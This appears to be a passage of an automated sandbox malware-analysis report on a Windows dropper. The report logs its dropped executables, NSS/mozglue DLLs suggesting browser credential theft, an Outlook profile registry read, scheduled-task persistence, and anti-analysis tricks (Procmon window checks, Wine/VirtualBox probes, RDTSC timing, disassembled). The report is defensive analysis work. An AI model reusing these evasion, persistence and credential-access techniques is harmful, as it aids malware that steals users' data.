Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1814528 > 1048576

Source: file.exe

Static PE information: Raw size of sjsqvlga is bigger than: 0x100000 < 0x1a1200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2748365117.000000006CB3F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2748365117.000000006CB3F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.fe0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sjsqvlga:EW;nddwszlt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sjsqvlga:EW;nddwszlt:EW;.taggant:EW;
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Unpacked PE file: 27.2.DocumentsHIEHDHCFIJ.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fgmhzlms:EW;jvwcxzdp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fgmhzlms:EW;jvwcxzdp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fgmhzlms:EW;jvwcxzdp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fgmhzlms:EW;jvwcxzdp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 29.2.skotes.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fgmhzlms:EW;jvwcxzdp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fgmhzlms:EW;jvwcxzdp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 34.2.skotes.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fgmhzlms:EW;jvwcxzdp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fgmhzlms:EW;jvwcxzdp:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C903480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C903480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: real checksum: 0x1d214e should be: 0x1c490a
Source: file.exe	Static PE information: real checksum: 0x1c425e should be: 0x1c46ce
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d214e should be: 0x1c490a
Source: skotes.exe.27.dr	Static PE information: real checksum: 0x1d214e should be: 0x1c490a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: sjsqvlga
Source: file.exe	Static PE information: section name: nddwszlt
Source: file.exe	Static PE information: section name: .taggant
Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: section name:
Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: section name:
Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: section name: fgmhzlms
Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: section name: jvwcxzdp
Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: fgmhzlms
Source: random[1].exe.0.dr	Static PE information: section name: jvwcxzdp
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.27.dr	Static PE information: section name:
Source: skotes.exe.27.dr	Static PE information: section name: .idata
Source: skotes.exe.27.dr	Static PE information: section name:
Source: skotes.exe.27.dr	Static PE information: section name: fgmhzlms
Source: skotes.exe.27.dr	Static PE information: section name: jvwcxzdp
Source: skotes.exe.27.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93B536 push ecx; ret		0_2_6C93B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00A0D91C push ecx; ret		34_2_00A0D92F

Source: file.exe	Static PE information: section name: sjsqvlga entropy: 7.954571117904994
Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: section name: entropy: 7.981415024426033
Source: DocumentsHIEHDHCFIJ.exe.0.dr	Static PE information: section name: fgmhzlms entropy: 7.953016610494096
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.981415024426033
Source: random[1].exe.0.dr	Static PE information: section name: fgmhzlms entropy: 7.953016610494096
Source: skotes.exe.27.dr	Static PE information: section name: entropy: 7.981415024426033
Source: skotes.exe.27.dr	Static PE information: section name: fgmhzlms entropy: 7.953016610494096

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHIEHDHCFIJ.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHIEHDHCFIJ.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHIEHDHCFIJ.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9655F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9655F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230195 second address: 1230199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230199 second address: 123019F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5D33 second address: 13A5D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5D39 second address: 13A5D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A616A second address: 13A617B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a je 00007F6AC4F647E6h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A617B second address: 13A6182 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A630D second address: 13A6311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A6311 second address: 13A6327 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69482h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A6327 second address: 13A6337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F6AC4F647E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A6337 second address: 13A6357 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69482h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F6AC4F6947Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A64A9 second address: 13A64B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F6AC4F647E6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A65FF second address: 13A6603 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A927E second address: 13A9282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9282 second address: 13A929C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6AC4F6947Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A929C second address: 13A92CE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F6AC4F647ECh 0x0000000c jbe 00007F6AC4F647E6h 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F6AC4F647F8h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A92CE second address: 13A92E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6AC4F6947Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9338 second address: 13A933C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A933C second address: 13A935A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F6AC4F69480h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A935A second address: 13A93AA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6AC4F647F0h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F6AC4F647F7h 0x00000011 push 00000000h 0x00000013 jns 00007F6AC4F647E6h 0x00000019 push 2F8A34FEh 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F6AC4F647F3h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A93AA second address: 13A93EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 2F8A347Eh 0x0000000f push 00000003h 0x00000011 or edx, 0F4250D2h 0x00000017 push 00000000h 0x00000019 call 00007F6AC4F69480h 0x0000001e mov edi, dword ptr [ebp+122D2572h] 0x00000024 pop ecx 0x00000025 push 00000003h 0x00000027 push 95C311D4h 0x0000002c push eax 0x0000002d push edx 0x0000002e jc 00007F6AC4F6947Ch 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A93EB second address: 13A93EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A94F5 second address: 13A94FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A94FA second address: 13A9536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AC4F647EAh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f or dword ptr [ebp+122D241Bh], edi 0x00000015 push 00000000h 0x00000017 xor ecx, 0BD05539h 0x0000001d push 0890E5F4h 0x00000022 je 00007F6AC4F647FFh 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F6AC4F647EDh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9536 second address: 13A953A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA3EC second address: 13CA402 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA402 second address: 13CA433 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6AC4F69478h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F6AC4F69487h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ecx 0x00000014 pushad 0x00000015 jp 00007F6AC4F69476h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA433 second address: 13CA43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8219 second address: 13C8231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AC4F69482h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C83A0 second address: 13C83B5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6AC4F647F0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8649 second address: 13C864F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C89EE second address: 13C89F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8B3A second address: 13C8B3F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8F1B second address: 13C8F31 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6AC4F647ECh 0x00000008 jg 00007F6AC4F647ECh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9069 second address: 13C9071 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9239 second address: 13C923D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C923D second address: 13C925F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6AC4F69484h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C925F second address: 13C926B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6AC4F647E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
